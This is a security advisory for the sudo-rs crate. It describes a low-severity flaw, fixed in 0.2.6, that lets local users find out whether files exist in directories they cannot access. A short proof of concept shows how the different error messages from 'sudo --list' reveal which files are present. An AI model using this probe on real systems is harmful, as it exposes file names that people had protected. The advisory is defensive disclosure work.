GHSA-98cv-wqjx-wx8f

Users with no (or very limited) sudo privileges can determine whether files exists in folders that they otherwise cannot access using sudo --list <pathname>.

PoC

As root:

# mkdir /tmp/foo
# chmod a-rwx /tmp/foo
# touch /tmp/foo/secret_file

As a user without any (or limited) sudo rights:

$ sudo --list /tmp/foo/nonexistent_file
sudo-rs: '/tmp/foo/nonexistent_file': command not found
$ $ sudo --list /tmp/foo/secret_file
sudo-rs: Sorry, user eve may not run sudo on host.

I.e. the user can distinguish whether files exist.

Original sudo (vulnerable version tested by us: 1.9.15p5) exhibited similar behaviour for files with the executable bit set.

Impact

Users with local access to a machine can discover the existence/non-existence of certain files, revealing potentially sensitive information in the file names. This information can also be used in conjunction with other attacks.

Credits

This issue was identified by sudo-rs developer Marc Schoolderman

Database specific

{
    "nvd_published_at": "2025-05-12T15:16:01Z",
    "cwe_ids": [
        "CWE-497"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-13T14:08:18Z"
}

References

Affected packages

crates.io / sudo-rs

Package

Name: sudo-rs; View open source insights on deps.dev
Purl: pkg:cargo/sudo-rs

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.2.6

Database specific

{
    "last_known_affected_version_range": "<= 0.2.5"
}